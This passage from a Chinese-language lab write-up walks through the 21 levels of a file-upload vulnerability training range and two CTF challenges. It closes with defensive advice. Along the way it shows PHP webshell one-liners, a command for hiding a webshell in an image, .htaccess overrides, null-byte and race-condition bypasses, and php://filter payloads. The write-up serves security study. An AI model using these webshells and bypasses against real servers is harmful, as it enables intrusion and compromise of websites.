        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';
    }
}
</code>
</pre>
</li>

文件基本格式步分析。

deny_ext :黑名單列表

trim(): :刪除字符串兩端的空格或其他預定義字符。用trim()函移除字符。我們沒有添加移除的字符,就默認移除下列字符"\0" - NULL、"\t" - 製表符、"\n" - 換行、"\x0B" - 垂直製表符、"\r" - 回車、" " - 空格(ltrm、rtrim)

deldot() :把文件後面的點刪除windows的特性會自動對後綴名去"." 處理比如: webshell.php. 。

strrchr() :查找字符串在另一個字符串中最後-次出現的位置,並返回從該位置到字符串結尾的所有字符(截取後綴)

str_ireplace():替換字符串中的一些字符(不區分大小寫)。遵循的一些規則如果搜索的字符串是一個數組那麼它會返回一個數組,且對數組中的每個元素進行查找和替換。(str_replace區分大小寫)用str_ireplace(’::$DATA’, ‘’, fileext)"::file_ext)函數防止在後綴中添加"::DATA"繞過利用windows特性,可在後綴名中加” ::$DATA”繞過

strtolower(): 故名思意

strrpos() 函數查找字符串在另一字符串中最後一次出現的位置。strrpos() 函數對大小寫敏感。

  • stripos() - 查找字符串在另一字符串中第一次出現的位置(不區分大小寫)
  • strpos() - 查找字符串在另一字符串中第一次出現的位置(區分大小寫)
  • strripos() - 查找字符串在另一字符串中最後一次出現的位置(不區分大小寫)
    getimagesize() :用於獲取圖像大小及相關信息,成功返回一個數組,失敗則返回 FALSE 併產生一條 E_WARNING 級的錯誤信息。

通過上面對整體內容有了大概理解。開始闖關刷題。


**場景一 **

Sample

Sample

Sample

繞過前端即可,將文件名改成jpg,上傳後用burpsuit修改後綴名,之後查看包反饋的文件路徑,再用中國菜刀連接一句話木馬,完成奪下目標。這些流程都是一樣的,只不過是繞過不妨不同,後面兩步在後面不做重複說明。

場景二

Sample

修改類型檢查,如上圖(箭頭提示作用,實際不存在)

場景三

#後綴繞過常用手段
PHP:
php2、php3、php5、phtml、pht(是否解析需要根據配置文件中設置類型來決定)
ASP:
asa、cer、cdx
ASPX:
ascx、ashx、asac
JSP:
jsp、jspx、jspf

爲什麼上面的東西可以繞過呢?

這是利用了配置中正則解析的小錯誤實現的。

這些後綴名都可以被當做php文件執行。符合的後綴包括 php、php3、php4、php5、phtml、pht等,有時候需要挨個進行嘗試

如同場景一進行修改後綴操作,不同的是這裏不需要改包,通過burpsuit獲得上傳文件路徑即可,直接用中國菜刀進行連接,因爲上面的後綴修改後都可以解析成相應的文件(phtml->php)
此處將文件後綴名進行修改即可。


場景四

有兩種思路。

1:不能上傳php,但能上傳php.jpg,php.asd,說明是黑名單限制,但是場景三中方法如:php3,phtml都被限制了,查看提示幾乎所有可以繞過的後綴名都被限制了,但是沒有禁止.htaccess,可以先上傳一個.htaccess覆寫後讓所有文件解析爲php,然後再上傳一個圖片馬

htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以幫我們實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能

//.htaccess  修改文件
SetHandler application/x-httpd-php

先上傳文件.htaccess然後再上傳圖片格式的一句話木馬,之後直接用中國菜刀連接即可。原因:所有圖片信息再上面文件的配置下都會解析成php文件。

Sample

Sample

2:後綴名冗餘(未知拓展名繞過)繞過,例如修改成one.php.aaa、one.php.xxxx等。然後直接使用中國菜刀連接。

原理:本質爲apache解析漏洞。apache中的主配置文件httpd.conf中存在DefaultType用於告訴apache該如何處理未知擴展名的文件,比如something.xxx這樣的文件,擴展名是xxx,這肯定不是一個正常的網頁或腳本文件,這個參數就是告訴apache該怎麼處理這種未知擴展名的文件。

參數DefaultType的默認值是“text/plain”,也就是遇到未知擴展名的文件,就把它當作普通的txt文本或html文件來處理。文件內容爲php代碼的未知擴展名文件來說也是解析成文本對於something.php.xxx的多擴展名的文件,那麼就會被以module方式運行php的apache解析,因爲Apache認爲一個文件可以擁有多個擴展名,哪怕沒有文件名,也可以擁有多個擴展名。Apache認爲應該從右到左開始判斷解析方法的。如果最右側的擴展名爲不可識別的,就繼續往左判斷,直到判斷到文件名爲止。

Sample

未知拓展名漏洞防禦解決

解決方案一

在httpd.conf或httpd-vhosts.conf中加入以下語句,從而禁止文件名格式爲*.php.*的訪問權限:

<FilesMatch “.(php.|php3.|php4.|php5.)”>
Order Deny,Allow
Deny from all

解決方案二

如果需要保留文件名,可以修改程序源代碼,替換上傳文件名中的“.”爲“_”:

$filename = str_replace(’.’, ‘_’, $filename);


場景五\場景六

使用場景四中的增加後綴冗餘實現繞過。


場景七

3個思路

1.文件“.”後增加空格。兩圖

Sample

Sample

2.如場景四,採用後綴名冗餘,即使用one.php.xxxx類似的文件名或者改包爲這樣的文件名繞過。

3.在文件名後加一個".",例如one.php.但是我實際操作的時候需要加上一個空格纔會成功。


場景八

很明顯,沒有過濾尾部".",這樣burpsuit在one.php後面加上一個點繞過黑名單檢查,並且能被php解析。

Sample


場景九

  1. 利用上述方法中的第7點windows NTFS文件系統特性繞過。傳上one.php,burpsuit改包,增加後綴::$DATA即可上傳並獲得上傳路徑。
  2. 冗餘後綴名

Sample


場景十

冗餘後綴名。。。。(真好用,大部分黑名單都可以過,更說明黑名單是很不安全的)


場景十一

這個上傳發現什麼都可以傳,但是其後綴被修改了,無法正常解析。因爲下面這句新增的控制語句:

$file_name = str_ireplace($deny_ext,"", $file_name);

說明只要出現黑名單裏面的字樣都會被替換成空格。有什麼辦法繞過呢?這個就像腦筋急轉彎一樣。

我們不妨構造類似pphphp這種字段的後綴,這裏有個地方可以思考,那就是構造這種模式的字符串是按照從前往後替換還是從前往後替換呢?也就是pphphp、phphpp是否能行?都行,還是那個行那個不行。這個可以動手嘗試一下

pphphp(php) phphpp(hpp)


場景十二

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else{
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
    }
}

截斷條件:
php版本小於5.3.4 詳情關注CVE-2006-7243
php的magic_quotes_gpc爲OFF狀態

Sample

做題之前先要把網站中的php.ini中的安全設置修改一下。

php.ini文件裏的magic_quotes_gpc設成了off,那麼PHP就不會在敏感字符前加上反斜槓(\)

通過 上面的場景,黑名單雖然對很多的文件上傳都做了限制,規定那些不能上傳,但是總是有一些其他的方法可以實現繞過,所以黑名單是相對於白名單來說安全級別很低的。

這個場景是一個白名單。並且文件名是拼接而成。

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

可以通過截斷上傳(0x00,%00,/00 )實現。

Sample

Sample


場景十三

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳失敗";
        }
    } else {
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
    }
}

可以看到文件路徑中的$_GET[‘save_path’]變成了 $_POST[‘save_path’]。這又會造成什麼區別呢?

post不會像get對%00進行自動解碼

也就是說我們不能直接在包中直接加入截斷字符了需要手動進行url編碼處理。

Sample

Sample

這裏上傳路徑後加一個A是爲了方便尋找我們需要修改的地方,也可以不加。

成功上傳圖片馬。


場景十四

這題是上傳圖片馬,但是想要利用圖片馬還需要結合文件包含漏洞,所以本題只需要上傳三種圖片格式的文件碼就行了。

製作圖片馬方法:

copy normal.jpg /b + shell.php /a webshell.jpg

直接通過抓包改包也可以直接上傳只修改了後綴的一句話木馬php文件。


場景十五

通過getimagesize()函數來實現對文件類型的識別判斷。也就是說用burpsuit改包的方法操作就複雜了,直接合成一張木馬圖上傳即可(與十四相同)


場景十六

通過函數exif_imagetype()函數獲得圖片文件的類型,從而實現文件白名單的過濾操作。不能抓包改包實現,依舊使用圖片馬合成。


場景十七

Sample

要通過二次渲染來上傳圖片文件,所以普通的圖片馬不能順利上傳,需要是使用二次渲染繞過(見上文知識點),製作後和前面場景一樣直接上傳圖片即可完成。


場景十八

這是一個條件競爭的場景

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif類型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}

先將文件上傳到服務器,然後通過rename修改名稱,再通過unlink刪除修改名稱後的文件,這裏可以通過條件競爭的方式在unlink之前,訪問webshell。
首先在burp中不斷髮送上傳webshell的數據包即可。(參考上述知識點9條件競爭)

爲什麼可以這樣操作呢?之前的場景爲什麼不行呢?我們可以仔細看到這裏的代碼是不一樣的構造。

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif類型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}

其實這個代碼都沒啥大問題,執行下來都是OK的,但是這裏是這樣操作的,先通過move_uploaded_file把文件保存了,然後再去判斷後綴名是否合法,合法就重命名,如果不合法再刪除。重是重點在於,在多線程情況下,就有可能出現還沒處理完,我們就訪問了原文件,這樣就會導致被繞過防護。下面是我隨便找的之前的某一關,很明顯看到之前代碼是先改名,再移動保存。所以可以用條件競爭打他個措手不及,使得文件保存了但是沒能及時處理。

在這裏插入圖片描述

Sample


場景十九

<li id="show_code">
    <h3>index.php代碼</h3>
<pre>
<code class="line-numbers language-php">//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已經被上傳,但沒有重命名。';
            break; 
        case -1:
            $msg = '這個文件不能上傳到服務器的臨時文件存儲目錄。';
            break; 
        case -2:
            $msg = '上傳失敗,上傳目錄不可寫。';
            break; 
        case -3:
            $msg = '上傳失敗,無法上傳該類型文件。';
            break; 
        case -4:
            $msg = '上傳失敗,上傳的文件過大。';
            break; 
        case -5:
            $msg = '上傳失敗,服務器已經存在相同名稱文件。';
            break; 
        case -6:
            $msg = '文件無法上傳,文件不能複製到目標目錄。';
            break;      
        default:
            $msg = '未知錯誤!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};
</code>
</pre>
</li>

根據apache的後綴名識別漏洞:從右往左依次識別後綴,遇到不能識別的後綴名便跳過 ,因此可以文件名改爲

1.php.7z,然後利用bs 快速發包,

本關對文件後綴名做了白名單判斷,然後會一步一步檢查文件大小、文件是否存在等等,將文件上傳後,對文件重新命名,同樣存在條件競爭的漏洞。可以不斷利用burp發送上傳圖片馬的數據包,因爲move在rename之前,move操作進行了一次文件保存,然後rename進行了一次更改文件名,由於條件競爭,程序會出現來不及rename的問題,從而上傳成功

所以本題相對上題是差不多的,只不過多了一部操作而已:增加Apache的解析識別漏洞(後綴冗餘)

(1)利用Apache 的漏洞,將webshell 腳本文件名改爲1.php.7z (白名單中 有.7z 這個apache 不能識別的後綴,所以用.7z)

然後利用bs 去不斷快速發包,實現條件競爭,進而保留了腳本名,使apache 將其識別爲1.php

(2)單純利用 條件競爭,利用bs 去不斷快速發包,實現條件競爭,進而保留了圖片馬的文件名,成功繞過


場景二十

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上傳出錯!';
            }
        }else{
            $msg = '禁止保存爲該類型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';
    }
}

是個黑名單的限制

  1. 看了一些黑名單,發現程序中沒有大小寫統一,後綴用大小寫繞過。one.phP,成功上傳。。。。可能是非預期解,要不然爲什麼放低二十關,黑名單真的不安全。。一不小心就漏了什麼。

  2. 也是一個文件名路徑拼接的問題,可以用場景十二中的字符串截斷來實現繞過(0x00、%00)。

  3. 遞歸刪除文件名最後的/.導致繞過了後綴名檢測,在bs中將文件名改爲:1.php/. 成功繞過。


場景二十一

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該後綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功!";
                $is_upload = true;
            } else {
                $msg = "文件上傳失敗!";
            }
        }
    }
}else{
    $msg = "請選擇要上傳的文件!";
}

end函數取所post參數數組中的最後一個值,$ file_name = reset($ file) . ‘.’ . $ file[count($ file) - 1]我們可以post一個參數名爲一個[0]一個[2],然後$ file[count($ file) - 1]就爲空,$ file_name最終就爲reset($ file)即$ file[0],就可以繞過判斷。

在這裏插入圖片描述


就此該靶場二十一個關卡就已經全部完成了。相比你對整個文件上傳有了大概了理解,還是建議下載靶場自己進行實踐操作才能對知識有很好的吸收。


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


CTF實戰-知識補充

下面兩題是CTF實例題目,並且知識點是上面沒有包含的,在這補充,並且作爲一個鞏固練習。


Easy Gallery

題目鏈接

1.先改文件名,無效,不是前端校驗。

2.再改Content-Type,無效。

3.有因爲限制是圖片上傳,所以肯定是圖片馬了。製作一個圖片馬。

<?php
@eval($_POST['cmd']);
?>

4.上傳成功。嘗試連接?發現奇怪後綴~~

在這裏插入圖片描述
5.嘗試截斷。打開發現。。。不讓操作。
在這裏插入圖片描述
6.可能是php一句話的什麼被過濾了,換用:

<script language="php">@eval_r($_POST['cmd'])</script>

在這裏插入圖片描述
在這裏插入圖片描述
7.重複操作,得到flag!


bugku ctf之文件上傳2

湘湖杯比賽題,環境目前沒找到,在很多安全題庫的平臺應該有,我沒有去翻,先看兩種思路。

參考:https://www.jianshu.com/p/bf45138d4e13 https://www.jianshu.com/p/59730b290120

1.打開網站,是一個上傳文件的網頁,那我們先按照要求上傳png文件試試,上傳圖片說打不開圖片,陷入迷茫。那應該不是靠一句話菜刀,因爲根本加載不出來,我覺得不可能沒有php代碼,於是在op後面構造

op=index.php 提示我們不存在這樣的頁面 但事實是存在的

op=index 沒有出現提示 但頁面是空的

op=php://filter/read=convert.base64-encode/resource=index

​結果得到下面代碼

<?php
error_reporting(0);
define('FROM_INDEX', 1);
$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
    die('Try it again and I will kill you! I freaking hate hackers!');
ob_start('ob_gzhandler');
function page_top($op) {
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>
</head>
<body>
<div id="header">
<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
</div>
<div id="body">
<?php
}
function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}
function page_bottom() {
?>
    </div>
    <center>
<div id="footer">
<div>
<p>
<span>2017 &copy; </span> All rights reserved.
</p>
</div>
</div>
</center>
</body>
</html><?php
ob_end_flush();
}
register_shutdown_function('page_bottom');
page_top($op);
if(!(include $op . '.php'))
    fatal('no such page');
?>        //縮短長度把轉行都去了

通過這個分析,大概懂了爲什麼文件加.php提醒沒有此頁面的原因。

通過御劍後臺掃描掃描出後臺的信息,有flag.php頁面,則

op=php://filter/read=convert.base64-encode/resource=flag

則獲得flag的base64加密後的數據,進行解密,獲得flag。

2.看到file還有題目名就想包含一下,當然是嘗試的flag.php,結果什麼都沒有,用php://filter試試發現作者已經過濾了。右鍵源碼看到upload.php上傳文件名爲1.php;.jpg,繞過檢測,包含一下發現一句話的<?php?>這些字符被過濾,從其他文章處看到構造了上傳得到flag

3.嘗試構造payload來進行測試php://filter/read=convert.base64-encode/resource=flag得到的結果再在base64解碼就可以得到flag了

4.點開鏈接發現什麼都沒有用御劍掃一下後臺看看有沒有隱藏文件其他php文件打開都是空頁,index.php打開沒什麼不一樣,下載111.zip用phpstorm打開,得到flag發現這就是個文件。


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


文件上傳漏洞防禦

首先,上傳的文件能夠被Web容器解釋執行。所以文件上傳後所在的目錄要是Web容器所覆蓋到的路徑。
其次,用戶能夠從Web上訪問這個文件。如果文件上傳了,但用戶無法通過Web訪問,或者無法得到Web容器解釋這個腳本,那麼也不能稱之爲漏洞。
最後,用戶上傳的文件若被安全檢查、格式化、圖片壓縮等功能改變了內容,則也可能導致攻擊不成功。

防範文件上傳漏洞常見的幾種方法:

1.文件上傳的目錄設置爲不可執行
只要web容器無法解析該目錄下面的文件,即使攻擊者上傳了腳本文件,服務器本身也不會受到影響,因此這一點至關重要。

2.判斷文件類型
在判斷文件類型時,可以結合使用MIME Type、後綴檢查等方式。在文件類型檢查中,強烈推薦白名單方式,黑名單的方式已經無數次被證明是不可靠的。此外,對於圖片的處理,可以使用壓縮函數或者resize函數,在處理圖片的同時破壞圖片中可能包含的HTML代碼。

3.使用隨機數改寫文件名和文件路徑
文件上傳如果要執行代碼,則需要用戶能夠訪問到這個文件。在某些環境中,用戶能上傳,但不能訪問。如果應用了隨機數改寫了文件名和路徑,將極大地增加攻擊的成本。再來就是像shell.php.rar.rar和crossdomain.xml這種文件,都將因爲重命名而無法攻擊。

4.單獨設置文件服務器的域名
由於瀏覽器同源策略的關係,一系列客戶端攻擊將失效,比如上傳crossdomain.xml、上傳包含Javascript的XSS利用等問題將得到解決。

系統開發階段的防禦
系統開發人員應有較強的安全意識,尤其是採用PHP語言開發系統。在系統開發階段應充分考慮系統的安全性。對文件上傳漏洞來說,最好能在客戶端和服務器端對用戶上傳的文件名和文件路徑等項目分別進行嚴格的檢查。客戶端的檢查雖然對技術較好的攻擊者來說可以藉助工具繞過,但是這也可以阻擋一些基本的試探。服務器端的檢查最好使用白名單過濾的方法,這樣能防止大小寫等方式的繞過,同時還需對%00截斷符進行檢測,對HTTP包頭的content-type也和上傳文件的大小也需要進行檢查。
系統運行階段的防禦
系統上線後運維人員應有較強的安全意思,積極使用多個安全檢測工具對系統進行安全掃描,及時發現潛在漏洞並修復。定時查看系統日誌,web服務器日誌以發現入侵痕跡。定時關注系統所使用到的第三方插件的更新情況,如有新版本發佈建議及時更新,如果第三方插件被爆有安全漏洞更應立即進行修補。對於整個網站都是使用的開源代碼或者使用網上的框架搭建的網站來說,尤其要注意漏洞的自查和軟件版本及補丁的更新,上傳功能非必選可以直接刪除。除對系統自生的維護外,服務器應進行合理配置,非必選一般的目錄都應去掉執行權限,上傳目錄可配置爲只讀。


==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ==== ====


結語

文件上傳漏洞是一種很常見的漏洞,CTF賽事中也時常出現,值得去細細品味和欣賞,同時從中獲得啓發。無論是CTF比賽還是滲透實戰,對於每一個小塊知識點都要去咀嚼品味,一步步去實踐才能進步,以此文共勉激勵。

其他優秀博文:
python沙箱逃逸
shellcode利用和生成
隱寫分析框架
靶場環境、資源://download.csdn.net/download/qq_43390703/12248471
參考文章:

https://www.jianshu.com/p/5ebba0482980

https://www.jianshu.com/p/7842ee248621

https://www.cnblogs.com/sylover/p/10838820.html

https://www.jianshu.com/p/4043a97477b3?from=timeline&isappinstalled=0

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章